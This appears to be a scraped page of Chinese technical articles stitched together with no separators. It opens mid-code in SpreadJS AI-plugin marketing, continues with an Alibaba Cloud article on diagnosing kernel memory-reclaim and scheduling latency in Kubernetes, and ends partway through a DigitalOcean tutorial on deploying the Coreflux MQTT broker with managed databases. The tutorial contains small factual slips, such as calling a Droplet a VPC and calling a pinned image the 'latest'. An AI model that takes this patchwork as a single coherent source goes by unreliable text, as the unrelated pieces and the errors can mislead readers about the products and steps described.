  requestBody.model = 'your-model-name';
  const response = await fetch('/api/queryAI', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify(requestBody)
  });
  return response;
});

同时,插件支持自定义 AI 模型对接,开发者可根据业务需求选择公有云模型或私有化部署的国产化模型,灵活适配不同场景。

3. 国产化适配与企业级服务

作为国产化表格控件领军者,SpreadJS 完全适配信创体系(包括麒麟操作系统、统信 UOS、飞腾芯片等),满足政府、金融、能源等关键行业的国产化替代需求。同时,葡萄城提供 7×12 小时的技术支持和定制化开发服务,解决开发者在集成过程中遇到的各类问题——这是国外同类产品难以比拟的优势。

4. 与行业趋势的深度契合

SpreadJS AI 插件的设计理念,完美契合了 AI 电子表格的三大发展趋势:一是“自下而上”的传播模式,通过降低开发者和用户的使用门槛,实现快速推广;二是金融行业作为核心切入点,其高价值用户群体能快速感知 AI 带来的 ROI;三是“表格即平台”的扩展潜力,通过 AI 能力将表格从数据载体升级为应用创建平台,覆盖 CRM、数据分析、内部工具等更多场景。

六、写给开发者:AI 时代的表格工具选型指南

在 AI 电子表格赛道加速爆发的今天,开发者选择工具时需要关注三个核心要素:一是兼容性,能否适配现有系统和国内主流软件生态;二是开放性,能否灵活对接不同 AI 模型和业务场景;三是实用性,能否真正解决开发痛点、提升产品价值。

SpreadJS AI 插件的推出,不仅是对这三个要素的完美回应,更提供了一种“渐进式 AI 升级”的解决方案——开发者无需重构现有系统,即可通过插件快速为表格应用注入 AI 能力,既保护了历史投资,又能快速提升产品竞争力。

对于正在布局 AI 电子表格的开发者而言,SpreadJS 的核心价值在于:它不是一个简单的“AI 工具”,而是一个“AI+表格”的完整解决方案——从表格内核到 AI 能力,从前端集成到后端部署,从标准化功能到定制化服务,全方位满足企业级应用的开发需求。

未来,随着 AI 大模型能力的持续提升,SpreadJS 还将推出更多行业定制化 AI 功能,包括财务领域的自动报表生成、科研领域的数据分析建模、教育领域的公式教学辅助等,进一步拓展 AI 电子表格的应用边界。

七、立即体验:开启你的 AI 表格效率革命

为了让开发者快速体验 AI 带来的效率提升,SpreadJS 提供了完整的 AI 插件试用方案:

  1. 下载 Demo:包含公式生成、透视表分析、文本处理等所有核心功能的可直接运行示例;
  2. 在线体验:通过葡萄城开发者官网(https://www.grapecity.com.cn/developer/spreadjs/)在线试用,无需本地部署;

在十亿级用户的 AI 电子表格赛道上,先发优势至关重要。选择 SpreadJS AI 插件,不仅能让你快速推出具备竞争力的智能表格应用,更能借助其国产化适配、企业级性能和深度定制能力,在激烈的市场竞争中占据先机。

AI 重构表格的时代已经到来,而效率革命的钥匙,就在你的手中。立即下载 SpreadJS AI 插件,开启属于你的智能开发之旅!

背景

在云原生场景中,为了最大化资源利用率,越来越多的集群采用资源超卖策略和混合部署方式。然而,这种模式在提升集群效率的同时,也显著增加了宿主机与容器化应用之间的资源竞争风险。

在资源紧张的场景中,CPU 延时和内存申请延迟(Memory Reclaim Latency)等内核级延迟问题,往往会直接传导至应用层,造成响应时间(RT)波动,甚至引发业务抖动。对于依赖低延迟和稳定性的关键业务而言,这类问题可能意味着性能瓶颈、用户体验下降,甚至业务中断。

然而,现实中由于缺乏足够的可观测性数据,工程师通常很难将应用层抖动与系统层面的延迟精确关联,排查效率低下。为了解决这一挑战,本文将结合实战案例,介绍如何在 Kubernetes 环境中使用 ack-sysom-monitor Exporter [1]对内核延迟进行可视化分析与定位,帮助你快速识别问题根因,并高效缓解由延迟引发的业务抖动。

内存申请延时

进程陷入内存分配的慢速路径往往是造成业务时延抖动的元凶之一。如下图所示,在进程内存分配的过程中,如果系统或容器内存达到了 low 水线,会触发系统内存的异步回收(kswapd 内核线程回收);如果剩余内存进一步低于 min 水线,就会进入直接内存回收(direct reclaim)和直接内存规整(direct compact)阶段,这两个动作正是可能引起长业务(进程)时间延时的罪魁祸首。

  • 直接内存回收是指进程在申请内存的过程中,由于内存紧缺,进程被迫阻塞等待内存的同步回收。

  • 直接内存规整是指进程在申请内存的过程中,由于内存碎片太多,进程被迫阻塞等待内核将内存碎片规整成连续可用的一片内存。

因为直接内存回收和规整的过程可能会消耗一定的时间,所以进程会阻塞在内核态,造成长时间的延时和 CPU 利用率的升高,从而导致系统负载飙高和(业务)进程的延时抖动。

图: Linux 内存水线

CPU 延时

CPU 延时是指从任务变为可运行状态(即它已准备好运行,不再受阻塞),到它真正被操作系统调度器选中并执行的时间间隔。长时间的 CPU 延时可能会对业务造成影响,如网络数据包到达后,业务进程没有被及时调度运行进行收包从而导致网络延时等。

延时抖动场景常见 CASE

CASE 1: 容器内存紧张导致容器内应用抖动

容器启动时设置了内存限制(Limit)。当容器内进程申请内存且容器内存使用量达到容器内存限制时,容器内进程就会发生直接内存回收和规整导致应用阻塞。

CASE 2: 宿主机内存紧张导致容器内应用抖动

虽然容器内存富余,但容器所在宿主机内存紧张。当容器内进程申请内存且节点内存可用内存低于节点 min 内存水位时,容器内进程就会发生直接内存回收。

CASE 3:  就绪队列等待时间长导致应用抖动

应用进程被唤醒进入就绪队列,但是由于就绪队列较长,当前 CPU 存在阻塞任务等原因导致长时间没有被调度至 CPU 运行导致应用抖动。

CASE 4:中断,阻塞时间长导致应用抖动

当系统资源紧张或发生资源争抢时,大量网络等软件中断或硬件中断会持续触发。此时内核处理这些中断的耗时会显著增加,导致 CPU 长时间被内核占用。应用程序在运行系统任务时需要争夺同一个锁,但此时锁资源长期被占用无法释放,最终引发进程卡死。

CASE 5:内核路径持锁阻塞引发网络抖动延时

当进程通过系统调用进入内核态执行路径后,由于路径中可能涉及访问大量系统资源从而长时间持有内核自旋锁;当某个 CPU 在持有自旋锁后便可能关闭当 CPU 中断和不再发生调度,从而导致内核 ksoftirq 软中断无法正常调度收包,从而引发网络抖动。

如何识别解决系统抖动延时

ACK 团队与操作系统团队合作推出了 SysOM(System Observer Monitoring) 操作系统内核层的容器监控的产品功能,目前为阿里云独有;通过查看 SysOM 容器系统监控 -None 和 Pod 维度中的相关大盘,可以洞悉节点和容器的抖动延时。

内存申请延时

  • 查看 SysOM 容器系统监控-容器维度中的 Pod Memory Monitor 中的 Memory Global Direct Reclaim Latency 和 Memory Direct Reclaim Latency 和 Memory Compact Latency 监控大盘,可以直观地观察到 pod/ 容器中的进程因为发生直接内存回收和直接内存规整而被阻塞的时长

  • 查看 SysOM 容器系统监控-节点维度中的 System Memory 中的 Memory Others 大盘,可以观察到节点上是否发生了直接内存回收。

具体指标解析

  • Memory Others

该大盘中的 pgscan_direct 折线表示节点中在直接内存回收阶段扫描的页数,只要该折线的数值不为 0,说明在节点中发生了直接内存回收。

  • Memory Direct Reclaim Latency

该大盘表示:当前采样点与上一采样点,由于容器内存使用量达到容器内存限制或者节点内存可用内存低于节点内存水位导致的容器中发生的直接内存回收在不同阻塞时长的次数增量(如 memDrcm_lat_1to10ms 表示直接内存回收延时时间在 1-10ms 的增量次数。memDrcm_glb_lat_10to100ms 表示直接内存回收延时时间在 10-100ms 的增量次数)。

  • Memory Compact Latency

该大盘表示:当前采样点与上一采样点,由于节点内存碎片太多导致的容器中无法申请连续内存而发生的直接内存规整次数增量。

问题解决

内存回收延时最直接的原因就是节点/容器内存资源紧张。要优化内存使用,就需要看清内存和用好内存:

  • 要看清内存,可以通过阿里云操作系统控制台推出的功能-节点 /Pod 内存全景分析[2],该功能对节点 /Pod 使用的内存进行了详细的拆解,细粒度到每个 Pod 的详细内存组成。通过 Pod Cache(缓存内存)、InactiveFile(非活跃文件内存占用)、InactiveAnon(非活跃匿名内存占用)、Dirty Memory(系统脏内存占用)等不同内存成分的监控展示,发现常见的 Pod 内存黑洞问题。

  • 要用好内存,可以通过 ACK 容器服务团队推出 Koordinator QoS 精细化调度功能[3],通过精细化调整容器的内存水线,提早进行异步回收,缓解直接内存回收带来的性能影响。

CPU 延时监控

查看 SysOM 容器系统监控-节点维度中的 System CPU and Schedule 大盘:

具体指标解析

  • WaitOnRunq Delay

该大盘表示系统中所有可运行进程在运行队列中等待运行的时间的平均值;通过该大盘,用户可以了解到系统中是否存在调度延时情况,如果存在超过 50ms 的毛刺,就可以说明系统中存在比较严重的调度延时,大部分进程都无法得到及时的调度。

  • Sched Delay Count

该大盘表示:系统没有发生调度的时间分布统计。(如 SchedDelay 100ms 表示:系统中有 100ms 没有发生调度的次数统计)。如果观察到 SchedDelay 100ms 折线发生了陡增,那么可以说明系统中发生了长时间不调度,系统上的业务进程可能因为得不到调度而受到影响。

问题解决

造成系统调度延时的原因有很多,如在 CPU 中运行的任务在内核态运行时间过长,当前 CPU 出现长时间的关中断等。如果需要进一步定位产生调度延时的具体原因,可以使用阿里云操作系统团队推出的产品-阿里云操作系统控制台中的调度抖动诊断[4]进行进一步的根因分析。

案例分析 - 快速定位由 CPU 延时导致的网络抖动

背景:

某金融行业客户在 ACK 上创建的集群中,某两个节点中业务 pod 连接 redis 经常出现连接失败报错;在经过网络同学的初步排查后,基本可以锁定是由于节点内核收包慢(延时 500ms+),导致 redis 客户端断开连接。

问题识别定位:

1. 通过查看网络抖动应时间的 Sched Delay Count 大盘,可以看到在对应的时间点中,伴随着多次 1ms 以上的 sched delay,这说明了系统中这个时间点发生多次某个 CPU 不发生调度 500ms 以上,那么很有可能 ksoftirq 得不到调度从而引发了网络延时抖动。

2. 通过操作系统控制台的节点异常详情,我们可以看到发生了调度抖动异常和 cgroup 泄漏异常:

3. 查看操作系统控制台中的调度抖动诊断的诊断报告,获得了如下图的诊断报告:

4. 结合抖动诊断和 cgroup 泄漏异常基本可以确定是 memory cgroup 泄漏且 kubelt 访问 memory cgroup 的 memory.numa_stat 文件时,由于 numa_stat 中的数据在 Alinux2 内核中多次遍历 cgroup 层级导致调度抖动进而影响 softirq 收包。

5. 最后结合操作系统团队的 memory cgroup 泄漏工具分析,可以确定由于客户使用 cronjob 定时拉起容器读取日志导致 cgroup 泄漏(容器创建时会创建一个新的 mem cgroup,读取文件会产生 page cache 并统计在该 cgroup 中,容器退出后由于 page cache 未释放使当前 cgroup 处于僵尸状态,未被完全清除)。

问题解决:

所以问题从解决网络抖动变为了解决 memory cgroup 泄漏问题:

1、临时止血方法:通过 drop cache 回收 page cache,从而使对应的僵尸 cgroup 被正常清除。

2、使用 Alinux 的自研特性,开启僵尸 cgroup 回收功能;具体使用可参考[5]中“回收 zombie memcgs”章节。

您在使用操作系统控制台功能的过程中,有任何疑问和建议,可以加入钉钉群(群号:94405014449)反馈,欢迎大家入群交流。

操作系统控制台钉钉交流群

参考链接:

[1]SysOM 内核层容器监控:

https://help.aliyun.com/zh/ack/ack-managed-and-ack-dedicated/user-guide/sysom-kernel-level-container-monitoring?spm=5176.12818093_47.console-base_help.dexternal.5adc2cc9tyH8cM&scm=20140722.S_help%40%40%E6%96%87%E6%A1%A3%40%402560259.S_BB2%40bl%2BRQW%40ag0%2BBB1%40ag0%2Bos0.ID_2560259-RL_acksysom-LOC_console~UND~help-OR_ser-PAR1_2150446b17585225858645349e5d87-V_4-P0_0-P1_0

[2]操作系统控制台内存全景分析:

https://help.aliyun.com/zh/alinux/user-guide/memory-panorama-analysis-function-instructions?spm=a2c4g.11186623.help-menu-2632541.d_2_0_1_0_0_0.38175c4dMUXuc5&scm=20140722.H_2848894._.OR_help-T_cn~zh-V_1

[3]容器内存 QoS:

https://help.aliyun.com/zh/ack/ack-managed-and-ack-dedicated/user-guide/memory-qos-for-containers

[4]阿里云操作系统控制台调度抖动诊断:

https://help.aliyun.com/zh/alinux/user-guide/scheduling-jitter-diagnosis?spm=a2c4g.11186623.help-menu-2632541.d_2_0_1_0_3_0.2020583fVqI7fU&scm=20140722.H_2848564._.OR_help-T_cn~zh-V_1

[5]龙蜥操作系统资源隔离使用简介:

https://openanolis.cn/sig/Cloud-Kernel/doc/659601505054416682

[6]阿里云操作系统控制台 PC 端链接:

https://alinux.console.aliyun.com/

使用托管数据库部署 Coreflux MQTT 代理

MQTT 代理 通过发布-订阅消息模式连接物联网设备和应用程序,使其成为现代 物联网 基础设施的重要组成部分。Coreflux 是一个 低代码 MQTT 代理,增加了实时数据处理和转换功能,让你可以直接与 DigitalOcean 托管数据库(包括 MongoDBPostgreSQLMySQLOpenSearch)集成,而无需编写自定义集成代码。

你将学到什么: 本教程将引导你部署一个完整的物联网数据管道——从在 DigitalOcean 上设置托管数据库集群和 Coreflux MQTT 代理,到配置安全的 VPC 网络、使用 Coreflux 的物联网语言 (LoT) 构建数据转换模型,以及自动将处理后的物联网数据存储到你选择的数据库中。最终你将获得一个可用于生产环境的设置,能够处理物联网应用的实时消息传递和持久存储。

关键要点

在深入了解分步部署过程之前,以下是你将学到的关键点:

  • 在 DigitalOcean 上部署托管数据库集群(PostgreSQL、MongoDB、MySQL 或 OpenSearch),用于可扩展的物联网数据存储。
  • 使用 Marketplace 镜像或 Docker 在 DigitalOcean Droplet (DigitalOcean的VPC)上设置 Coreflux MQTT 代理。
  • 创建安全的 VPC 网络以连接你的 MQTT 代理和数据库,无需公开暴露。
  • 使用 Coreflux 的物联网语言 (LoT) 构建实时数据管道,实现低代码物联网自动化。
  • 自动转换和存储物联网数据,从 MQTT 主题到数据库表、集合或索引。
  • 验证端到端数据流,从模拟传感器通过转换模型到数据库存储。

本教程为需要实时消息传递结合持久数据存储以及搜索、分析或关系查询等高级功能的物联网应用提供了一个可用于生产环境的基础。

你将构建什么

在本教程结束时,你将得到:

  • 一个用于可扩展存储托管数据库集群(PostgreSQLMongoDBMySQLOpenSearch
  • 一台运行 Coreflux MQTT 代理DigitalOcean Droplet
  • 一个用于安全 物联网通信的虚拟私有云 (VPC) 网络
  • 使用 LoT Notebook 扩展进行的实时数据模拟
  • 低代码数据转换模型和数据库集成路由
  • 用于 物联网自动化 的完整 数据集成与转换 管道

Coreflux 与 DigitalOcean 合作

Coreflux 通过物联网语言编程语言在 DigitalOcean 云平台上提供轻量级 MQTT 代理和数据管道工具,以实现高效的物联网通信。

什么是 MQTT?

MQTT(消息队列遥测传输)是一种轻量级的、发布-订阅网络协议,在物联网生态系统中被广泛采用。专为受限设备和低带宽、高延迟或不稳定的网络设计,MQTT 能够在带宽受限的环境中实现高效、实时的消息传递。

关于 Coreflux

Coreflux 提供了一个轻量级 MQTT 代理,以促进物联网设备与应用程序之间的高效、实时通信,包括每个用例所必需的实时数据转换功能。为可扩展性和可靠性而构建,Coreflux 专为低延迟和高吞吐量至关重要的环境量身定制。

无论你是构建一个小型物联网项目还是部署工业监控系统,Coreflux 都能处理设备之间的消息路由和数据流。

在 DigitalOcean 云平台上使用 Coreflux,你将获得:

数据处理: 在你的数据所在之处集中处理你的数据处理需求,确保实时数据处理。
数据集成: 轻松与其他 DigitalOcean 服务(如托管数据库 PostgreSQL、MongoDB、MySQL 或 OpenSearch)集成,确保为你的所有数据需求提供一个单一且简单的生态系统。
可扩展性: 轻松处理不断增长的数据和设备数量,而不会影响性能。
可靠性: 确保在所有连接的设备之间进行一致且可靠的消息传递。

Coreflux MQTT 和托管数据库架构概述

准备工作

在开始本 MQTT 代理 部署教程之前,你需要:

  • 一个 DigitalOcean 帐户,可在DigitalOcean.com注册,支持绑定信用卡、支付宝或数字货币
  • 了解 MQTT 协议概念和 物联网 架构
  • Visual Studio Code(用于 LoT Notebook 扩展)

预计时间: 本教程大约需要 30-45 分钟完成,具体取决于数据库配置时间(通常每个数据库集群需要 1-5 分钟)。

步骤 1 — 为物联网自动化创建网络基础设施

为安全的 MQTT 通信创建 VPC 网络

首先,你将创建一个虚拟私有云 (VPC),以确保你的 物联网 服务和 MQTT 代理 之间的安全通信,无需公开访问。

  1. 登录你的 DigitalOcean 控制面板
  2. 从左侧导航栏进入 网络VPC
  3. 点击 创建 VPC 网络

DigitalOcean VPC 创建屏幕

  1. 物联网自动化配置你的 VPC:

    • 名称:coreflux-integrations-vpc(或你的 VPC 名称)
    • 数据中心区域:选择法兰克福(或你首选的区域)
    • IP 范围:使用默认值或根据需要配置
    • 描述:为你的 MQTT 代理和数据库 网络添加有意义的描述
  2. 点击 创建 VPC 网络

VPC 将为你所有的物联网资源提供隔离的网络,确保 Coreflux MQTT 代理托管数据库 之间的安全通信。有关 VPC 配置的更多详细信息,请参阅我们关于创建 VPC 网络的教程。

步骤 2 — 为可扩展存储设置托管数据库

根据你的物联网应用需求,选择以下数据库选项之一:

  • PostgreSQL:适用于需要关系查询、ACID 合规性和复杂关系的结构化数据
  • MySQL:适用于结构化工作负载和具有强一致性及广泛工具支持的事务性查询
  • MongoDB:适用于具有可变模式的灵活文档存储和快速开发
  • OpenSearch:适用于高级搜索、分析、日志分析和时间序列数据可视化

设置 PostgreSQL 托管数据库

当你的物联网工作负载需要关系模式强一致性高级 SQL 分析,并由自动备份、监控和维护支持时,DigitalOcean 上的托管 PostgreSQL 是一个很好的选择。

DigitalOcean 托管 PostgreSQL 集群设置

  1. DigitalOcean 控制面板,导航到 数据库
  2. 点击 创建数据库集群
  3. 物联网自动化配置你的 PostgreSQL 集群:

    • 数据库引擎:选择 PostgreSQL
    • 版本:选择最新的稳定版本
    • 数据中心区域:选择法兰克福(与你的 VPC 相同)
    • VPC 网络:选择你创建的 coreflux-integrations-vpc
    • 数据库集群名称:postgresql-coreflux-test
    • 项目:选择你的目标项目
  4. 根据你的 物联网 需求选择你的计划:

    1. 对于开发:基础 计划,1 GB RAM
    2. 对于生产:通用型 或更高,用于可扩展存储
  5. 点击 创建数据库集群

托管数据库 创建过程通常需要 1-5 分钟。完成后,你将被重定向到数据库概览页面,在那里你可以查看连接详细信息并执行管理操作。

为 MQTT 代理集成配置 PostgreSQL 数据库访问

系统将提示你进行入门步骤,显示你的连接详细信息,你可以配置入站访问规则(建议限制为你的 IP 和仅 VPC)。

  1. 点击 开始使用 来配置你的 PostgreSQL 数据库
  2. (可选操作)限制入站连接:

    • 添加你本地计算机的 IP 以进行管理访问
    • droplet 将通过 VPC 网络自动获得允许

PostgreSQL 入站访问和 VPC 规则

对于连接详细信息,你将看到两个选项 - 公共网络和 VPC 网络。第一个用于像 DBeaver 这样的工具进行外部访问,而第二个将由 Coreflux 服务用于访问数据库。

PostgreSQL 公共和 VPC 连接详细信息

  1. 记下提供的连接详细信息,包括公共访问和 VPC 访问(每种都有不同的详细信息):

    • 主机:你的数据库主机名
    • 用户:默认管理员用户
    • 密码:自动生成的安全密码
    • 数据库:身份验证数据库名称
测试 PostgreSQL 数据库连接

你可以使用提供的连接参数,使用公共访问凭证通过 DBeaver 测试 PostgreSQL 连接:

在 DBeaver 中测试 PostgreSQL 连接

创建 PostgreSQL 应用程序数据库和用户(可选)

为了更好的安全性和组织性,为你的 物联网自动化 应用程序创建一个专用用户和数据库。这也可以通过 DBeaver 或 CLI 完成,但 DigitalOcean 提供了一种用户友好的方法:

  1. 转到你的 托管数据库 集群中的 用户与数据库 选项卡
  2. 创建用户

    • 用户名:coreflux-broker-client
    • 密码:自动生成
  3. 创建数据库

    • 数据库名称:coreflux-broker-data

注意: 你可能需要更改数据库内的用户权限,以便能够创建表、插入和选择数据。对于 PostgreSQL,使用 GRANT CREATE, INSERT, SELECT ON DATABASE coreflux-broker-data TO coreflux-broker-client; 授予必要的权限。对于 MySQL,使用 GRANT CREATE, INSERT, SELECT ON coreflux-broker-data.* TO 'coreflux-broker-client'@'%';。

设置 MySQL 托管数据库

当你想要熟悉的 SQL、广泛的生态系统支持以及处理备份、更新和监控的完全托管服务时,DigitalOcean 上的托管 MySQL结构化、事务性物联网数据的理想选择。

DigitalOcean 托管 MySQL 集群设置

  1. DigitalOcean 控制面板,导航到 数据库
  2. 点击 创建数据库集群
  3. 物联网自动化配置你的 MySQL 集群:

    • 数据库引擎:选择 MySQL
    • 版本:选择最新的稳定版本
    • 数据中心区域:选择法兰克福(与你的 VPC 相同)
    • VPC 网络:选择你创建的 coreflux-integrations-vpc
    • 数据库集群名称:mysql-coreflux-test
    • 项目:选择你的目标项目
  4. 根据你的 物联网 需求选择你的计划:

    • 对于开发:基础 计划,1 GB RAM
    • 对于生产:通用型 或更高,用于可扩展存储
  5. 点击 创建数据库集群

托管数据库 创建过程通常需要 1-5 分钟。完成后,你将被重定向到数据库概览页面,在那里你可以查看连接详细信息并执行管理操作。

为 MQTT 代理集成配置 MySQL 数据库访问

系统将提示你进行入门步骤,显示你的连接详细信息,你可以配置入站访问规则(建议限制为你的 IP 和仅 VPC)。

  1. 点击 开始使用 来配置你的 MySQL 数据库
  2. (可选操作)限制入站连接:

    • 添加你本地计算机的 IP 以进行管理访问
    • droplet 将通过 VPC 网络自动获得允许

MySQL 入站访问和 VPC 规则

对于连接详细信息,你将看到两个选项 - 公共网络和 VPC 网络。第一个用于像 DBeaver 这样的工具进行外部访问,而第二个将由 Coreflux 服务用于访问数据库。

MySQL 公共和 VPC 连接详细信息

  1. 记下提供的连接详细信息,包括公共访问和 VPC 访问(每种都有不同的详细信息):

    • 主机:你的数据库主机名
    • 用户:默认管理员用户
    • 密码:自动生成的安全密码
    • 数据库:身份验证数据库名称
测试 MySQL 数据库连接

你可以使用提供的连接参数,使用公共访问凭证通过 DBeaver 测试 MySQL 连接。

注意: 你可能需要更改 DBeaver 的驱动程序设置——设置 allowPublicKeyRetrieval = true。

在 DBeaver 中测试 MySQL 连接

创建 MySQL 应用程序数据库和用户(可选)

为了更好的安全性和组织性,为你的 物联网自动化 应用程序创建一个专用用户和数据库。这也可以通过 DBeaver 或 CLI 完成,但 DigitalOcean 提供了一种用户友好的方法:

  1. 转到你的 托管数据库 集群中的 用户与数据库 选项卡
  2. 创建用户

    • 用户名:coreflux-broker-client
    • 密码:自动生成
  3. 创建数据库

    • 数据库名称:coreflux-broker-data

设置 MongoDB 托管数据库

托管 MongoDB 非常适合灵活或不断演变的物联网负载,让你能够存储异构的传感器文档,而无需严格模式,同时平台处理复制、备份和监控。

创建托管 MongoDB 集群

  1. DigitalOcean 控制面板,导航到 数据库
  2. 点击 创建数据库集群
  3. 物联网自动化配置你的 MongoDB 集群:

    • 数据库引擎:选择 MongoDB
    • 版本:选择最新的稳定版本
    • 数据中心区域:选择法兰克福(与你的 VPC 相同)
    • VPC 网络:选择你创建的 coreflux-integrations-vpc
    • 数据库集群名称:mongodb-coreflux-test
    • 项目:选择你的目标项目
  4. 根据你的 物联网 需求选择你的计划:

    • 对于开发:基础 计划,1 GB RAM
    • 对于生产:通用型 或更高,用于可扩展存储
  5. 点击 创建数据库集群

托管数据库 创建过程通常需要 1-5 分钟。完成后,你将被重定向到数据库概览页面,在那里你可以查看连接详细信息并执行管理操作。

为 MQTT 代理集成配置 MongoDB 数据库访问

系统将提示你进行入门步骤,显示你的连接详细信息,你可以配置入站访问规则(建议限制为你的 IP 和仅 VPC)。

  1. 点击 开始使用 来配置你的 MongoDB 数据库
  2. (可选)限制入站连接:

    • 添加你本地计算机的 IP 以进行管理访问
    • droplet 将通过 VPC 网络自动获得允许

为 MQTT 代理集成配置数据库访问

对于连接详细信息,你将看到两个选项:公共网络和 VPC 网络。第一个用于像 MongoDB Compass 这样的工具进行外部访问,而第二个将由 Coreflux 服务用于访问数据库。

MongoDB 连接详细信息

  1. 记下提供的连接详细信息,包括公共访问和 VPC 访问(每种都有不同的详细信息):

    • 主机:你的数据库主机名
    • 用户:默认管理员用户
    • 密码:自动生成的安全密码
    • 数据库:身份验证数据库名称
测试 MongoDB 数据库连接

你可以使用 MongoDB Compass 或提供的连接字符串,使用公共访问凭证测试 MongoDB 连接:

mongodb://username:password@mongodb-host:27017/defaultauthdb?ssl=true

测试数据库连接

创建 MongoDB 应用程序数据库和用户(可选)

为了更好的安全性和组织性,为你的 物联网自动化 应用程序创建一个专用用户和数据库。这也可以通过 MongoDB Compass 或 CLI 完成,但 DigitalOcean 提供了一种用户友好的方法:

  1. 转到你的 托管数据库 集群中的 用户与数据库 选项卡
  2. 创建用户

    • 用户名:coreflux-broker-client
    • 密码:自动生成
  3. 创建数据库

    • 数据库名称:coreflux-broker-data

设置 OpenSearch 托管数据库

托管 OpenSearch 专为高容量物联网数据的搜索、日志分析和时间序列仪表板而设计,该服务为你管理集群健康、扩展和索引存储。

创建托管 OpenSearch 集群

  1. DigitalOcean 控制面板,导航到 数据库
  2. 点击 创建数据库集群
  3. 物联网自动化配置你的 OpenSearch 集群:

    • 数据库引擎:选择 OpenSearch
    • 版本:选择最新的稳定版本
    • 数据中心区域:选择法兰克福(与你的 VPC 相同)
    • VPC 网络:选择你创建的 coreflux-integrations-vpc
    • 数据库集群名称:opensearch-coreflux-test
    • 项目:选择你的目标项目
  4. 根据你的 物联网 需求选择你的计划:

    1. 对于开发:基础 计划,1 GB RAM
    2. 对于生产:通用型 或更高,用于可扩展存储
  5. 点击 创建数据库集群

托管数据库 创建过程通常需要 1-5 分钟。完成后,你将被重定向到数据库概览页面,在那里你可以查看连接详细信息并执行管理操作。

为 MQTT 代理集成配置 OpenSearch 数据库访问

系统将提示你进行入门步骤,显示你的连接详细信息,你可以配置入站访问规则(建议限制为你的 IP 和仅 VPC)。

  1. 点击 开始使用 来配置你的 OpenSearch 数据库
  2. (可选)限制入站连接:

    • 添加你本地计算机的 IP 以进行管理访问
    • droplet 将通过 VPC 网络自动获得允许

配置数据库访问

对于连接详细信息,你将看到两个选项:公共网络和 VPC 网络。第一个用于工具的外部访问,而第二个将由 Coreflux 服务用于访问数据库。你还将看到访问 OpenSearch 仪表板的 URL 和参数。

连接详细信息

  1. 记下提供的连接详细信息,包括公共访问和 VPC 访问(每种都有不同的详细信息):

    • 主机:你的数据库主机名
    • 用户:默认管理员用户
    • 密码:自动生成的安全密码
    • 数据库:身份验证数据库名称
测试 OpenSearch 数据库连接

你可以使用提供的凭证通过 OpenSearch 仪表板测试 OpenSearch 连接:

测试数据库连接

步骤 3 — 在 DigitalOcean Droplet 上部署 Coreflux MQTT 代理

创建 DigitalOcean Droplet

  1. 在你的 DigitalOcean 控制面板中导航到 Droplets
  2. 点击 创建 Droplet

创建新的 DigitalOcean Droplet

  1. MQTT 代理 部署配置你的 droplet

    • 选择区域:法兰克福(与你的托管数据库相同)
    • VPC 网络:选择 coreflux-integrations-vpc
    • 选择镜像:转到 Marketplace 选项卡
    • 搜索 “Coreflux” 并从 Marketplace 中选择 Coreflux

从 Marketplace 选择 Coreflux

  1. 为你的 物联网 工作负载选择大小

    • 对于开发:基础 计划,2 GB 内存
    • 对于生产:基础通用型 计划,4+ GB 内存以获得可扩展性能
  2. 选择身份验证方法

    • SSH 密钥:推荐用于提高安全性

      1. 可以使用 ssh-keygen 在本地创建密钥
    • 密码:备选方案
  3. 最终确定详细信息

    • 主机名:coreflux-test-broker
    • 项目:选择你的项目
    • 标签:为 DevOps 组织添加相关标签
  4. 点击 创建 Droplet
  5. 查看 Droplet 主页并等待其完成部署

Droplet 部署进行中

替代方案 - 在Docker镜像Droplet上使用Docker安装Coreflux MQTT代理

采用与Coreflux Droplet相同的方法,选择Docker作为市场应用镜像。

一旦你的droplet运行起来,通过已定义的认证方法或Droplet主页上提供的Web控制台,使用SSH连接到它:

ssh root@your-droplet-ip

SSH连接到Coreflux droplet

使用Docker运行Coreflux MQTT代理

docker run -d \
  --name coreflux \
  -p 1883:1883 \
  -p 1884:1884 \
  -p 5000:5000 \
  -p 443:443 \
  coreflux/coreflux-mqtt-broker-t:1.6.3

这个Docker命令:

  • 以分离模式运行容器 (-d)
  • 将容器命名为 coreflux
  • 暴露MQTT和Web界面所需的端口
  • 使用最新的Coreflux镜像

验证MQTT代理是否在运行:

docker ps

你应该看到一个正在运行的容器:

Docker中运行的Coreflux容器

通过使用默认值连接到MQTT代理来验证部署

你可以通过MQTT客户端(如MQTT Explorer)访问MQTT代理,以验证对代理的访问,无论采用何种部署方法。

MQTT Explorer连接到Coreflux代理

步骤4 — 为安全的物联网通信配置防火墙规则(可选)

对于生产环境的物联网自动化部署,配置防火墙规则以限制访问:

  1. 导航到网络防火墙
  2. 点击创建防火墙
  3. 配置MQTT代理安全的入站规则:

    • SSH:来自你IP的端口22
    • MQTT:来自你的物联网应用程序源的端口1883
    • 带TLS的MQTT:用于安全的带TLS的MQTT的端口1884
    • WebSocket:用于通过WebSocket的MQTT的端口5000
    • 带TLS的WebSocket:用于通过带TLS的WebSocket的MQTT的端口443
  4. 将防火墙应用到你的droplet

关于详细的防火墙配置,请参考DigitalOcean的防火墙快速入门教程。生产提示: 将MQTT端口1883限制在特定的源IP或VPC范围,并且对于外部设备连接,优先使用端口1884(带TLS的MQTT)。如果你需要额外的安全层,请考虑使用带有私有网络的DigitalOcean应用平台。

步骤5 — 使用Coreflux的Language of Things设置物联网数据集成

安装LoT Notebook扩展

用于Visual Studio Code的LoTLanguage of ThingsNotebook扩展提供了一个集成的低代码开发环境,用于MQTT代理编程和物联网自动化。了解更多关于Coreflux的Language of Things (LoT)用于低代码物联网自动化的信息。

  1. 打开Visual Studio Code
  2. 转到扩展(Ctrl+Shift+X)
  3. 搜索"LoT Notebooks"
  4. 安装由Coreflux提供的LoT VSCode Notebooks扩展

Visual Studio Code中的LoT Notebook扩展

连接到你的MQTT代理

配置与你的Coreflux MQTT代理的连接,当在顶部栏提示时或通过点击底部左侧栏的MQTT按钮时,使用默认凭据:

  • 用户:root
  • 密码:coreflux

假设没有错误,你将在底部左侧栏看到与代理的MQTT连接状态。

VS Code中的Coreflux MQTT连接状态

步骤6 — 通过Actions在MQTT代理中创建数据

对于这个用例,我们将通过一个转换管道将原始数据集成到数据库中。然而,由于在演示中没有连接到任何MQTT设备,我们将利用LoT的能力,并使用一个Action来模拟设备数据。

在LoT中,Action是一种可执行的逻辑,由特定事件触发,例如定时间隔、主题更新或其他操作或系统组件的显式调用。Actions允许与MQTT主题、内部变量和负载进行动态交互,促进复杂的物联网自动化工作流。

